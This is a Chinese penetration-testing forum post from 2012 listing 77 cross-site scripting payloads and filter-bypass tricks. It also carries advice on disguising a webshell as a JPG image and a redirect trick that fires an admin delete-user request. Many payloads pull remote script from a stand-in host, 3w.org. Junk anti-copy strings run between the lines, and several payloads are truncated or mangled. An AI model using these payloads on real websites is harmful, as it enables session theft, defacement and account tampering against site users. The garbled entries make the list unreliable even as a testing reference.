中国网络渗透测试联盟
标题:
xss详细利用大全1
[打印本页]
作者:
admin
时间:
2012-9-13 17:04
标题:
xss详细利用大全1
跨站图片shell
0 k9 z3 m6 s# X% g
XSS跨站代码 <script>alert("")</script>
- E. a' y H4 A- p7 `
2 @7 O; {2 ?! r9 N% Q8 w* Z& a
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
4 V6 }8 v( z0 J- v1 t7 n6 c
6 F2 K% C `3 P) @8 Y V
+ B# I$ r; e+ b3 E* g3 l
0 I1 z* B3 c& U \+ a1 _. G
1)普通的XSS JavaScript注入
1 u" Q( e$ k. G( \
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
i* h$ n; Z: {$ g
4 X8 \" T U# s
(2)IMG标签XSS使用JavaScript命令
( X0 ?7 V( G- b6 T8 \- Z
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
7 M, U# Y/ x: f# I4 T
4 a7 T/ n8 C/ g' Y" X) H' @
(3)IMG标签无分号无引号
1 F7 Z3 [7 w) e4 D
<IMG SRC=javascript:alert(‘XSS’)>
! F3 E ?7 _/ }! q( ?
j1 D8 Y! j! k7 A8 K( A5 u" {
(4)IMG标签大小写不敏感
7 C7 P" t) ]( g0 N( t) j. t
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
# O2 c( _' Z2 M. T6 W( O$ ~/ Y
* V% z$ U( r& [& e5 |
(5)HTML编码(必须有分号)
2 b" G4 ^$ P) F8 N
<IMG SRC=javascript:alert(“XSS”)>
' Y2 p" M3 I v0 K& p
. j0 Z2 \' @2 d+ b- T
(6)修正缺陷IMG标签
* \! C3 Q& [7 m5 t8 x
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
" b! L5 m+ b# V \2 u: G
/ m: ^9 ^5 J8 N: L4 |* ~
(7)formCharCode标签(计算器)
# V. z8 j. q7 B7 H5 g
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
) J8 u' y/ J4 l. ?# J; s% n
: g/ m- G; A$ Y" P: X
(8)UTF-8的Unicode编码(计算器)
1 G% {: u) d" k5 V! ]
<IMG SRC=jav..省略..S')>
& W |' p2 t j1 i5 m, Y) Q2 }
$ A8 Z! ~7 x* k" S7 z0 }5 w: O# L W4 C
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
3 w w* ^. Z* M. }5 H6 P# ~
<IMG SRC=jav..省略..S')>
* I) R' F- G. N% p
. n; w# H1 n0 q, w7 e
(10)十六进制编码也是没有分号(计算器)
9 L, f1 F- \2 ~/ d% @- H. u
<IMG SRC=java..省略..XSS')>
8 ?3 E" y- J- m: i
& x+ Z1 x- L" A7 @1 S
(11)嵌入式标签,将Javascript分开
, F5 \. ]# I9 ]9 C- U: C
<IMG SRC=”jav ascript:alert(‘XSS’);”>
; T3 [$ u* M: `, {3 h7 w
! a3 W4 x- K" E; H0 W) y. F/ r
(12)嵌入式编码标签,将Javascript分开
/ z. M" L" n8 v- d5 m0 \5 e: i
<IMG SRC=”jav ascript:alert(‘XSS’);”>
1 ~% A l. x: Z- k P8 g& L! s
* \" L- q' m4 b* V9 E+ e2 s# W
(13)嵌入式换行符
8 P$ z" S, _, \ u8 Q* H* I
<IMG SRC=”jav ascript:alert(‘XSS’);”>
- i$ y% U y' z2 P7 m4 N2 x Z
( {) d, f. I- l0 _3 M9 O1 _
(14)嵌入式回车
' j8 q L2 K" Z) f( ]
<IMG SRC=”jav ascript:alert(‘XSS’);”>
' P) J" l: `$ N$ _1 d, r0 L, B
$ R( r1 w; H0 T1 r. h
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
+ q) t7 t* G4 {& T, ]# N, ?
<IMG SRC=”javascript:alert(‘XSS‘)”>
7 s0 r7 i; L/ a! ^' X' Q
, Q8 X; N! K% c" { \9 ~5 g, n3 p
(16)解决限制字符(要求同页面)
) ]7 i' h0 _# t' m7 v7 D
<script>z=’document.’</script>
/ a# @9 T6 g- s* Y
<script>z=z+’write(“‘</script>
* }$ B1 l% A# }* D0 }; l
<script>z=z+’<script’</script>
/ b" |9 ^7 ~( J4 T# X4 t$ [$ K
<script>z=z+’ src=ht’</script>
% u5 q5 u: {- D& T
<script>z=z+’tp://ww’</script>
$ P5 K6 @1 w8 m8 Y
<script>z=z+’w.shell’</script>
$ \! _% o6 ~* _" D) y+ N3 i
<script>z=z+’.net/1.’</script>
4 M: d/ I/ s' ?
<script>z=z+’js></sc’</script>
2 b$ F" N0 [: i
<script>z=z+’ript>”)’</script>
" j9 S/ ] f7 n* Z. g
<script>eval_r(z)</script>
$ d: C( \8 u' @9 x+ O
5 r% U% R. L: i7 |4 A
(17)空字符
7 }. B( U5 F/ Y. M2 i
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
5 w1 l5 t: d4 a9 G
^2 Y0 K% r! U: K
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
# L( X. J+ _4 n: V. n# F: O
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
$ a' t4 ?7 c, P1 n
. x8 o* s0 @ e! W Z5 C
(19)Spaces和meta前的IMG标签
3 _/ x; d* Z. a5 [- ~; N: a4 l9 @
<IMG SRC=” javascript:alert(‘XSS’);”>
5 C0 c# H2 B% a, w
8 P. i( O; |. K( y( I" M! O
(20)Non-alpha-non-digit XSS
+ }1 i, D! ?. ~- N' b) S
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
, f- ^9 f: \! H
; x! j* a# D( m( |- _
(21)Non-alpha-non-digit XSS to 2
0 D K" Q7 m- C, q1 v/ ^
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
# S% C: n7 X/ w/ m; |, P& P. e
1 ~# F) V/ B% {4 e
(22)Non-alpha-non-digit XSS to 3
+ i6 R) z; i9 `! T, E }# z
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
# s: M8 f, y; B" j: a
, K$ ?- n( `) Q3 H d" K
(23)双开括号
; \; V, F4 E! x% }4 I
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
' k) Z y$ J" [+ o. C; n, B
7 Q5 ~6 I; a1 N
(24)无结束脚本标记(仅火狐等浏览器)
1 L2 i5 z1 L3 D9 q7 s B) @
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
0 O1 y f3 z: e9 a6 s
- E j/ g$ e+ m) o, M& n
(25)无结束脚本标记2
2 d$ R: }, n, v
<SCRIPT SRC=//3w.org/XSS/xss.js>
9 Z% Q8 a7 J) I' W* _) d& r
8 ]: S. W: J; [7 y( W3 `* d
(26)半开的HTML/JavaScript XSS
( [# C! E1 Q# X$ |6 j, u8 b! i
<IMG SRC=”javascript:alert(‘XSS’)”
' c7 T& S6 w* Q) q
8 ~* N5 B9 M) j0 d8 o5 y2 d
(27)双开角括号
; l- [# z% h! b& _ E9 N6 ?
<iframe src=http://3w.org/XSS.html <
+ m" c9 z) d8 M& j9 _! T
k0 N. Y( v9 |/ f% v
(28)无单引号 双引号 分号
' w7 P4 G: x8 f0 a# _: O
<SCRIPT>a=/XSS/
' v# b& z0 j5 |- p( O8 _; |
alert(a.source)</SCRIPT>
0 _- o/ n* x9 N% ]# ~9 Q
5 w, ~7 f3 e+ o' ^9 I
(29)换码过滤的JavaScript
4 [8 o1 J* r+ C8 `0 P y
\”;alert(‘XSS’);//
: W- G3 m6 V2 I. E: {; B
9 d( w& ^0 A$ z2 n9 ?9 e1 N
(30)结束Title标签
& w* u6 n) `/ D4 |% q
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
: t5 j0 `9 m) d5 |" D
' Z; z8 a$ ^7 ?" h1 W
(31)Input Image
& q. @, l6 i4 c3 v& d1 C/ H8 U
<INPUT SRC=”javascript:alert(‘XSS’);”>
4 j( _' o0 H' Y9 k1 |/ X
" h' m" U' I9 j
(32)BODY Image
( I( T+ `3 v7 }9 O( ?. t
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
8 R! p4 h O( c# _4 T
" {$ ?& p$ P5 M5 |/ u; C
(33)BODY标签
/ g% a# k9 ~% T! w3 p3 o
<BODY(‘XSS’)>
# }. V1 `4 I4 A* Z. |' _
3 P& T5 B- L8 r! n2 N
(34)IMG Dynsrc
& E" q4 L8 Y$ u$ q2 Q& t T
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
+ N8 A' Y" i( o$ w9 ]
7 M9 P3 y2 P6 y# ]6 w' i2 k
(35)IMG Lowsrc
' _9 q+ R h8 s; r. Q2 v% b% ^8 R
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
& p$ P! W. N' ?8 U) l
, S" g4 L- u9 A: {
(36)BGSOUND
5 C7 b+ W4 ^" R: E' j- z
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
, q- B8 |9 U; h# S/ U6 F3 _
. C; v9 p j) `1 p
(37)STYLE sheet
, q6 f: p8 A: v1 T4 q
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
3 C e: J9 n' X& k- c' g
9 \% D5 K6 a! [" Z
(38)远程样式表
4 O! t5 t" z, D+ m! M
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
: }7 j6 D; k' m4 [- I! U/ {: i
0 `3 Y7 q/ J+ j0 @8 }1 c
(39)List-style-image(列表式)
2 g$ q8 W1 v$ M0 q: M0 Y
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
; |$ L8 ^- ?9 i. m' U2 ]
. W, t' z! f4 Q# j
(40)IMG VBscript
3 }/ X7 X; F$ O+ w1 U7 F2 z- [" D
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
* P% F, H4 T U- ]1 Y
) L, o0 l5 M/ g+ Q7 g: O
(41)META链接url
) k8 O8 w Z8 [0 r6 {/ O$ o
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
0 H% Y% j( l. L5 M3 J( ^5 n j2 b
/ c; ^( K% i; O5 @; J. K
(42)Iframe
4 a9 S( A. ~( |9 w! c
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
* D$ u9 B! H3 f/ \
(43)Frame
& ?. T% A. w+ R7 l7 M
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
/ r/ q5 u' ~ W1 j
* t5 j% r. ]: i- z% W
(44)Table
( u- q+ x9 x. e* j% B; [$ @
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
+ |4 ~$ R2 p" T/ W
5 R# w3 U5 j( Y2 q7 G
(45)TD
& ]8 e/ T S) b5 y, _
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
$ _- A; S2 `6 }) J# T. Q$ @/ h4 x, D
h1 } W8 p* ?
(46)DIV background-image
2 i( |, y' Z3 w" [# V) e
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
+ ]8 o2 R4 D* O0 H7 l! {
6 |2 f! w1 w& c1 B1 s$ _
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
' ^& o! w4 b) p7 h) I& ]0 O5 @8 b
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
6 Y* S, W( {6 \1 A
" ~0 S8 V6 P* X4 k3 g
(48)DIV expression
. u2 V1 |. B' E( h. S
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
4 ]7 {& A8 ~ f) B( f
) {* ^# K% u, t( k( b; w; b
(49)STYLE属性分拆表达
1 U" x9 q( Y* [' X/ T& A
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
- h7 R6 T4 S6 }( _6 k
; ?9 {7 h# T1 _& h
(50)匿名STYLE(组成:开角号和一个字母开头)
" Y0 F3 l. ?% _/ P( S3 t
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
9 j: i: x. ?% B& q( ~
9 H. U- x) \) K$ \8 l
(51)STYLE background-image
8 v- Y2 j p" x2 d, |& p1 I
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
" y0 c0 D' o3 c8 K% U% W$ a
, i5 v9 A6 X$ t5 P" H
(52)IMG STYLE方式
! c' ^# i( h% X8 R
exppression(alert(“XSS”))’>
4 }1 k6 u% F' Z) Q" W: \
! u. h& h, J3 b% j
(53)STYLE background
7 m! H0 B( x' e& h% P: |/ d8 a
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
, P# t! @$ F! c3 @. v
! f& g; {! A7 V, D
(54)BASE
8 e& n( W- h1 Q# J
<BASE HREF=”javascript:alert(‘XSS’);//”>
3 w! @1 R5 \9 U* o) z( L( }
3 b! K8 F6 y; ?
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
E' Y% U: J5 w2 c+ D2 x
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
4 C# A+ I1 D, x5 _
! O" x- _9 a9 x
(56)在flash中使用ActionScrpt可以混进你XSS的代码
" s- @$ y! q* {" G: }6 z+ F
a=”get”;
# a9 I) Z# o2 ^0 o) D! e
b=”URL(\”";
5 A5 ]: u- P# S! o8 f1 L, t
c=”javascript:”;
1 O3 D& H/ m$ z9 l z. X
d=”alert(‘XSS’);\”)”;
9 D# W4 W* B9 j5 ]
eval_r(a+b+c+d);
9 I x" C1 \$ ]0 h. ?9 |
% O7 I8 p1 E- g/ P
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
, z5 L7 I0 V9 `1 P7 F2 b% ]
<HTML xmlns:xss>
8 i& j; J0 j: {- i
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
9 l" b! ]: T( m+ O& _ y
<xss:xss>XSS</xss:xss>
6 {$ S3 G% y3 W; b
</HTML>
% P! ]) n! z9 m. P
* Q3 d m5 e8 z& b: A
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
; B7 ^2 |; G- S* r4 v
<SCRIPT SRC=””></SCRIPT>
5 r& Z" N J: {+ a+ K% d- X
+ N. q2 A E) X" ]# Q3 d
(59)IMG嵌入式命令,可执行任意命令
0 y! f1 a7 k) q) e: h% X
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
- s' S% s: j9 A2 ?
2 J B6 W( k" K6 m) O: t2 Y
(60)IMG嵌入式命令(a.jpg在同服务器)
& J3 I* Z5 m" D( j/ u" ~4 R
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
3 A. |) }, k9 f* Q4 T3 L$ ]7 W
" q9 D$ w- m+ G& N
(61)绕符号过滤
# {0 M' d# M) n) D" z' N
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
* f' j& {( J6 W) Q( E2 |# v
! i: K) @* A) |
(62)
: D5 v; |7 y2 d( k: ~. }+ g
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
8 @( c' U1 w2 H; ~" R" M8 J
& R6 }1 b: J7 |. N% K H
(63)
' W, k! T( T6 D5 T6 m
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
; p% ~& [& j6 r t( i( N0 F
8 S1 b4 v& v# J2 J
(64)
: u3 e$ U! W8 W u4 M% a% U
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
" @, ~9 k/ o+ Y
4 w& D1 a! h. @3 n% m$ H" w9 Z7 m& g" o
(65)
$ X9 { k1 \3 a) V; Z
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
; P+ c: j! N' g" E* P& N) j
* W4 U6 z' Q9 G6 o2 d
(66)
$ G! J( \- C, y- A- r! I+ u/ M3 \
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
! V! y, B9 J5 w) X# v. v
4 o. B% D) H; V- t1 N
(67)
, S5 ?2 j; U8 }. v$ u5 P
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”></SCRIPT>
% _* o, y# \6 M+ ]2 ]) Z* ^6 S
6 V9 s) L) x* s" h! M7 ~) y
(68)URL绕行
1 ]# I1 `6 I( w; W( F
<A HREF=”
http://127.0.0.1/
”>XSS</A>
: j# u I# c( W" l$ g; j) r! ?
7 _) ?" s: s) a5 r5 u; Q
(69)URL编码
/ l, i* Z& T/ \6 z+ S! g
<A HREF=”
http://3w.org
”>XSS</A>
6 R7 D! U. k- ]! x6 E3 t& p A3 ?
2 R$ D2 Z: R) q7 u1 `/ w# Y. d3 A
(70)IP十进制
- k+ T" ]: R& g( r# d) n, u
<A HREF=”http://3232235521″>XSS</A>
! B( S4 m) G. d k- y
& @1 m2 q/ ~3 t# K6 f
(71)IP十六进制
5 D: W E1 w0 B) d- k+ H. `6 @$ s
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
0 ]/ F0 }. F+ Y& L
) o- ]* [, T! K* `3 h* n5 H
(72)IP八进制
4 S* d+ Y9 | T1 g
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
6 J$ s4 _' F1 Q: T7 V
) ]/ g" n! Q$ _
(73)混合编码
8 \. ~! f( }+ o6 t
<A HREF=”h
5 [& Z# L1 q, y1 \8 h* k3 q$ b7 @4 d
tt p://6 6.000146.0×7.147/”">XSS</A>
( r8 e4 M& K3 p. f
* S' r+ v* S& C$ e5 i0 M
(74)节省[http:]
" {# t. a' u0 g. v
<A HREF=”//www.google.com/”>XSS</A>
2 a( v1 P( q: g
$ B. H4 A. [6 ?1 n& `# Y
(75)节省[www]
. V$ N2 e; _4 I" c0 X
<A HREF=”
http://google.com/
”>XSS</A>
" p' L" V3 H) ]" [% @1 P$ f
2 v/ ~ X1 i3 e$ ?+ |$ @/ J! y- R$ m/ z& O
(76)绝对点绝对DNS
$ Q6 Z! J% u B$ h' `1 ]
<A HREF=”
http://www.google.com./
”>XSS</A>
# u( \- h+ w* i t
, t0 ^" \5 E' }/ r6 ?9 N
(77)javascript链接
6 q% V) [& d6 m% Z8 E2 j) |
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
e6 M; ~ n# I# K4 P3 W
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2